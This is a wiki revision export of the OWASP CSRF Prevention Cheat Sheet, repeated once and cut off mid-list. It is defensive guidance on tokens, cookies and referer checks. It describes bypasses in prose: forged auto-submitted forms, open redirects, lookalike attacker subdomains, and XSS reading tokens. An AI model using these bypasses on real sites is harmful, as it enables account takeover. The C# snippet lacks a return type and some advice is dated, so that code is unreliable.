Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
*[[.Net CSRF Guard]]&lt;br /&gt;
&lt;br /&gt;
== Challenge-Response ==&lt;br /&gt;
&lt;br /&gt;
Challenge-Response is another defense option for CSRF. The following are some examples of challenge-response options.&lt;br /&gt;
 &lt;br /&gt;
*CAPTCHA&lt;br /&gt;
*Re-Authentication (password)&lt;br /&gt;
*One-time Token&lt;br /&gt;
&lt;br /&gt;
While challenge-response is a very strong defense to CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.&lt;br /&gt;
&lt;br /&gt;
= Checking The Referer Header =&lt;br /&gt;
Although it is trivial to spoof the referer header on your own browser,  it is impossible to do so in a CSRF attack.  Checking the referer is a commonly used method of preventing CSRF on embedded network devices because it does not require a per-user state.  This makes a referer a useful method of CSRF prevention when memory is scarce.&lt;br /&gt;
&lt;br /&gt;
However, checking the referer is considered to be a weaker from of CSRF protection.  For example,  open redirect vulnerabilities can be used to exploit GET-based requests that are protected with a referer check.  It should be noted that GET requests should never incur a state change as this is a violation of the HTTP specification. &lt;br /&gt;
&lt;br /&gt;
There are also common implementation mistakes with referer checks.  For example if the CSRF attack originates from an HTTPS domain then the referer will be omitted.  In this case the lack of a referer should be considered to be an attack when the request is performing a state change.   Also note that the attacker has limited influence over the referer.   For example,  if the victim's domain is &amp;quot;site.com&amp;quot; then an attacker have the CSRF exploit originate from &amp;quot;site.com.attacker.com&amp;quot; which may fool a broken referer check implementation.  XSS can be used to bypass a refer check. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Client/User Prevention =&lt;br /&gt;
&lt;br /&gt;
Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating include: &lt;br /&gt;
&lt;br /&gt;
* Logoff immediately after using a Web application &lt;br /&gt;
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login &lt;br /&gt;
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing). &lt;br /&gt;
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit.  This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually. &lt;br /&gt;
&lt;br /&gt;
Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack. &lt;br /&gt;
&lt;br /&gt;
= No Cross-Site Scripting (XSS) Vulnerabilities =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting is not necessary for CSRF to work. However, all stored cross-site scripting attacks and special case reflected cross-site scripting attacks can be used to defeat token based CSRF defenses, since a malicious XSS script can simply read the site generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
'''Cross-Site Request Forgery (CSRF)'''&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Code_Review_Project | OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues]]. &lt;br /&gt;
&lt;br /&gt;
'''How to Test for CSRF Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP_Testing_Project | OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OWASP-SM-005) | Test for CSRF Vulnerabilities]]. &lt;br /&gt;
&lt;br /&gt;
'''CSRF Testing Tool'''&lt;br /&gt;
&lt;br /&gt;
Check out the [[:Category:OWASP_CSRFTester_Project | OWASP CSRF Tester]] tool which allows you to test for CSRF vulnerabilities. This tool is also written in Java. &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[http://www.isecpartners.com/files/XSRF_Paper_0.pdf Cross Site Reference Forgery: An introduction to a common web application weakness]&lt;br /&gt;
&lt;br /&gt;
[http://www.freedom-to-tinker.com/sites/default/files/csrf.pdf Cross-Site Request Forgeries: Exploitation and Prevention]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Paul Petefish - paulpetefish[at]solutionary.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Eric Sheridan - eric.sheridan[at]whitehatsec.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Dave Wichers - dave.wichers[at]aspectsecurity.com &lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Michael Brooks</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=120556</id>
		<title>Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&amp;diff=120556"/>
				<updated>2011-11-21T15:03:04Z</updated>
		
		<summary type="html">&lt;p&gt;Michael Brooks: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction =&lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user’s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful cross-site request forgery attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In affect, CSRF attacks are used by an attacker to make a target system perform a function (funds Transfer, form submission etc.) via the target's browser without knowledge of the target user, at least until the unauthorized function has been committed.&lt;br /&gt;
&lt;br /&gt;
Impacts of successful CSRF exploits vary greatly based on the role of the victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire Web application. The sites that are more likely to be attacked are community Websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). This attack can happen even if the user is logged into a Web site using strong encryption (HTTPS). Utilizing social engineering, an attacker will embed malicious HTML or JavaScript code into an email or Website to request a specific 'task url'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-site Scripting flaw (ex: Samy MySpace Worm).&lt;br /&gt;
&lt;br /&gt;
For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.&lt;br /&gt;
&lt;br /&gt;
= Prevention Measures That Do NOT Work =&lt;br /&gt;
&lt;br /&gt;
'''Using a Secret Cookie'''&lt;br /&gt;
&lt;br /&gt;
Remember that all cookies, even the secret ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request. &lt;br /&gt;
&lt;br /&gt;
'''Only Accepting POST Requests'''&lt;br /&gt;
&lt;br /&gt;
Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in an attacker's Website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.&lt;br /&gt;
&lt;br /&gt;
'''Multi-Step Transactions'''&lt;br /&gt;
&lt;br /&gt;
Multi-Step transactions are not an adequate prevention of CSRF. As long as an attacker can predict or deduce each step of the completed transaction, then CSRF is possible.&lt;br /&gt;
&lt;br /&gt;
'''URL Rewriting'''&lt;br /&gt;
&lt;br /&gt;
This might be seen as a useful CSRF prevention technique as the attacker can not guess the victim's session ID. However, the user’s credential is exposed over the URL.&lt;br /&gt;
&lt;br /&gt;
= General Recommendation: Synchronizer Token Pattern =&lt;br /&gt;
&lt;br /&gt;
In order to facilitate a &amp;quot;transparent but visible&amp;quot; CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random &amp;quot;challenge&amp;quot; tokens that are associated with the user's current session. These challenge tokens are the inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.&lt;br /&gt;
&lt;br /&gt;
When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as &amp;quot;CSRFToken&amp;quot;. The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.&lt;br /&gt;
&lt;br /&gt;
   &amp;lt;form action=&amp;quot;/transfer.do&amp;quot; method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;CSRFToken&amp;quot; value=&amp;quot;OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi&lt;br /&gt;
   MGYwMGEwOA==&amp;quot;&amp;gt;&lt;br /&gt;
   …&lt;br /&gt;
   &amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.&lt;br /&gt;
&lt;br /&gt;
To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the &amp;quot;Back&amp;quot; button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of SSLv3/TLS.&lt;br /&gt;
&lt;br /&gt;
=== Disclosure of Token in URL ===&lt;br /&gt;
&lt;br /&gt;
Many implementations of this control include the challenge token in GET (URL) requests as well as POST requests. This often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referrer headers if the protected site links to an external site. The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests. In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to &amp;quot;HttpServletRequest.getParameter&amp;quot; will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring. While this is the ideal approach, attempting to retrofit this pattern in existing applications requires significant development time and cost.&lt;br /&gt;
&lt;br /&gt;
In order for an attacker to successfully carry out a valid CSRF attack against an application that has similar characteristics as described&lt;br /&gt;
above (i.e. CSRF tokens on GET and POST requests, no explicitly enforcing HTTP method scoping), several actions are typically required:&lt;br /&gt;
&lt;br /&gt;
#The victim must be interacting with the application such that a valid CSRF token is generated.&lt;br /&gt;
#The CSRF token must be transmitted in a GET request by interacting with the web page&lt;br /&gt;
#A component with insight into (at least) the first line of the HTTP GET request must process the request at some point between (and including) the browser and the server&lt;br /&gt;
#This same component must capture the token in a repository that is accessible to an attacker (ex: server log files, browser history, etc.)&lt;br /&gt;
#The attacker must parse this repository and retrieve the token.&lt;br /&gt;
#The attacker needs to somehow know what user owns this exposed CSRF token&lt;br /&gt;
#The attacker needs to trick the target victim (i.e. the one owning the CSRF token) into interacting with an HTML document.&lt;br /&gt;
#The victim's session that holds the exposed token must still be valid (i.e. not invalidated, expired, idle/absolute timed-out, etc.).&lt;br /&gt;
&lt;br /&gt;
While placing CSRF tokens in GET requests does present a potential risk as described above, it is very minimal. The likelihood of successfully discovering and exploiting this vulnerability is significantly low. Coupled with strong session management practices (i.e. timeouts), frequent use of SSLv3/TLS, and network based services that do not log this mechanism, there is little risk to the CSRF token being exposed to an attacker. Even if the CSRF token is exposed and the attacker is somehow able to figure how the associated user, the token is only valid for the lifetime of the session. Ultimately, the acceptance of this risk as opposed to the cost of significant architecture design is up to the business.&lt;br /&gt;
&lt;br /&gt;
=== Viewstate (ASP.NET) ===&lt;br /&gt;
&lt;br /&gt;
ASP.NET has an option to maintain your ViewState. The ViewState indicates the status of a page when submitted to the server. The status is defined through a hidden field placed on each page with a &amp;lt;form runat=&amp;quot;server&amp;quot;&amp;gt; control. Viewstate can be used as a CSRF defense, as it is difficult for an attacker to forge a valid Viewstate. It is not impossible to forge a valid Viewstate since it is feasible that parameter values could be obtained or guessed by the attacker. However, if the current session ID is added to the ViewState, it then makes each Viewstate unique, and thus immune to CSRF. &lt;br /&gt;
&lt;br /&gt;
To use the ViewStateUserKey property within the Viewstate to protect against spoofed post backs. Add the following in the OnInit virtual method of the Page-derived class (This property must be set in the Page.Init event)&lt;br /&gt;
&lt;br /&gt;
   protected override OnInit(EventArgs e) {&lt;br /&gt;
      base.OnInit(e); &lt;br /&gt;
      if (User.Identity.IsAuthenticated)&lt;br /&gt;
         ViewStateUserKey = Session.SessionID; }&lt;br /&gt;
&lt;br /&gt;
The following keys the Viewstate to an individual using a unique value of your choice.&lt;br /&gt;
&lt;br /&gt;
    (Page.ViewStateUserKey)&lt;br /&gt;
&lt;br /&gt;
This must be applied in Page_Init because the key has to be provided to ASP.NET before Viewstate is loaded. This option has been available since ASP.NET 1.1.&lt;br /&gt;
&lt;br /&gt;
However, there are [http://keepitlocked.net/archive/2008/05/29/viewstateuserkey-doesn-t-prevent-cross-site-request-forgery.aspx limitations] on this mechanism.  Such as, ViewState MACs are only checked on POSTback, so any other application requests not using postbacks will happily allow CSRF.&lt;br /&gt;
&lt;br /&gt;
=== Double Submit Cookies ===&lt;br /&gt;
&lt;br /&gt;
Double submitting cookies is defined as sending the session ID cookie in two different ways for every form request. First as a traditional header value, and again as a hidden form value. When a user visits a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine. This is typically referred to as the session ID. The site should require every form submission to include this pseudorandom value as a hidden form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. When an attacker submits a form on behalf of a user, he can only modify the values of the form. An attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can send any value he wants with the form, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the form value must be the same, the attacker will be unable to successfully submit a form unless he is able to guess the session ID value.&lt;br /&gt;
&lt;br /&gt;
While this approach is effective in mitigating the risk of cross-site request forgery, including authenticated session identifiers in HTTP parameters may increase the overall risk of session hijacking. Architects and developers must ensure that no network appliances or custom application code or modules explicitly log or otherwise disclose HTTP POST parameters. An attacker that is able to obtain access to repositories or channels that leak HTTP POST parameters will be able to replay the tokens and perform session hijacking attacks. Note, however, that transparently logging all HTTP POST parameters is a rare occurrence across network systems and web applications as doing so will expose significant sensitive data aside from session identifiers including passwords, credit card numbers, and or social security numbers. Inclusion of the session identifier within HTML can also be leveraged by cross-site scripting attacks to bypass HTTPOnly protections. Most modern browsers prevent client-side script from accessing HTTPOnly cookies. However, this protection is lost if HTTPOnly session identifiers are placed within HTML as client-side script can easily traverse and extract the identifier from the DOM. Developers are still encouraged to implement the synchronizer token pattern as described in this article.&lt;br /&gt;
&lt;br /&gt;
[http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in as it implements the double cookie submission transparently.&lt;br /&gt;
&lt;br /&gt;
=== Prevention Frameworks ===&lt;br /&gt;
&lt;br /&gt;
There are CSRF prevention modules available for J2EE, .Net, and PHP.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_CSRFGuard_Project | OWASP CSRF Guard (For Java)]]&lt;br /&gt;
&lt;br /&gt;
The OWASP CSRFGuard Project makes use of a unique per-session token verification pattern using a JavaEE filter to mitigate the risk of CSRF attacks. When an HttpSession is first instantiated, CSRFGuard will generate a cryptographically random token using the SecureRandom class to be stored in the session. &lt;br /&gt;
&lt;br /&gt;
'''Similar Projects'''&lt;br /&gt;
&lt;br /&gt;
CSRFGuard has been implemented in other languages besides Java. They are: &lt;br /&gt;
&lt;br /&gt;
*[[PHP CSRF Guard]]&lt;br /&gt;
